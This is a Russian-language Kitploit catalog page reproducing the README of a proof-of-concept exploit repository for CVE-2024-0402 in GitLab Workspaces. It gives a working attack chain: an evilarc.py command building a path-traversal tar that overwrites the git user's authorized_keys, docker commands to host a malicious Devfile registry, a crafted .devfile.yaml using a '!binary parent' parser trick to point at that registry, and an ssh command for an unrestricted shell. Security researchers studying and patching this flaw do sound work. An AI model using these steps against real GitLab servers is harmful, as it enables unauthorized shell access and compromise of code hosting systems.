Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
malicious-devfile-registry — CVE-2024-0402 эксплойт для GitLab Workspaces, использующий вредоносный Devfile Registry с архивом path-traversal для перезаписи authorized_keys и получения SSH-доступа. | Kitploit
Инструменты/GitHubGitHub/doyensec/malicious-devfile-registry
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеБезопасность Цепочки ПоставокRed Teaming
GitHubdoyensec/malicious-devfile-registry

malicious-devfile-registry

CVE-2024-0402 эксплойт для GitLab Workspaces, использующий вредоносный Devfile Registry с архивом path-traversal для перезаписи authorized_keys и получения SSH-доступа.

РепозиторийСайт
15591 год назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Вредоносный реестр Devfile

Проект содержит вредоносный реестр Devfile, который можно использовать для эксплуатации CVE-2024-0402 в Gitlab.

Эксплойт

Стек nodejs:2.2.1 индексируется для предоставления файла archive.tar, эксплуатирующего проблему обхода пути (path traversal) в библиотеке registry-support до версии v1.1.0.

Расположение tar: malicious-devfile-registry/stacks/nodejs/2.2.1/archive.tar

Он был создан с помощью evilarc.py для перезаписи /var/opt/gitlab/.ssh/authorized_keys на целевом сервере Gitlab ключами SSH из папки ssh-keys/ в этом репозитории.

python3 evilarc.py authorized_keys -f authzkeys.tar.gz -p var/opt/gitlab/.ssh/ -o unix

После запуска вредоносный .tar будет добавлен в доступные для загрузки стеки реестра. См. index.json, где он указан среди ресурсов стека:

...
"links": {
          "self": "devfile-catalog/nodejs:2.2.1"
        },
        ...
        "resources": [
          "devfile.yaml",
          "archive.tar"
        ],
...

Шаги воспроизведения

Настройте экземпляр Gitlab EE версии <=16.8.0. Включите на нём Workspaces, следуя документации и дополнительным примечаниям в нашем отдельном посте блога из серии !exploitable.

Когда будете готовы, выполните следующие шаги:

  1. Выполните docker build -t devfile-index . в корне этого репозитория, чтобы собрать образ контейнера реестра

  2. Выполните docker run -d -p 5000:5000 --name local-registrypoc registry:2, чтобы запустить локальный контейнерный реестр, который будет использоваться реестром Devfile для хранения стека. Примечание: вам следует изменить команду, чтобы открыть доступ к нему по своему усмотрению. В нашем случае всё происходило в локальном окружении

  3. Выполните docker run --network host devfile-index, чтобы запустить вредоносный реестр Devfile, собранный на первом шаге. Примечание: как и раньше, измените команду запуска по своему желанию, чтобы сделать его доступным для экземпляра Gitlab

  4. Авторизуйтесь на целевом сервере Gitlab как разработчик, затем отредактируйте .devfile.yaml репозитория, которым вы управляете. YAML должен использовать различие в работе парсеров, чтобы разрешить загрузку из вредоносного реестра

schemaVersion: 2.2.0
!binary parent:
    id: nodejs
    registryUrl: http://<YOUR_MALICIOUS_REGISTRY>:<PORT>
components:
  - name: development-environment
    attributes:
      gl/inject-editor: true
    container:
      image: "registry.gitlab.com/gitlab-org/gitlab-build-images/workspaces/ubuntu-24.04:20250109224147-golang-1.23@sha256:c3d5527641bc0c6f4fbbea4bb36fe225b8e9f1df69f682c927941327312bc676"
  1. Чтобы вызвать запись файла в интерфейсе Gitlab, просто запустите новое Workspace в отредактированном репозитории. Через несколько секунд должна произойти произвольная запись файла, и ssh-keys/pockey.pub будет добавлен в authorized_keys пользователя git

  2. Вы сможете получить неограниченную оболочку от имени git с помощью

ssh  -i ssh-keys/pockey git@<YOUR_GITLAB_SERVER>
Скачать инструмент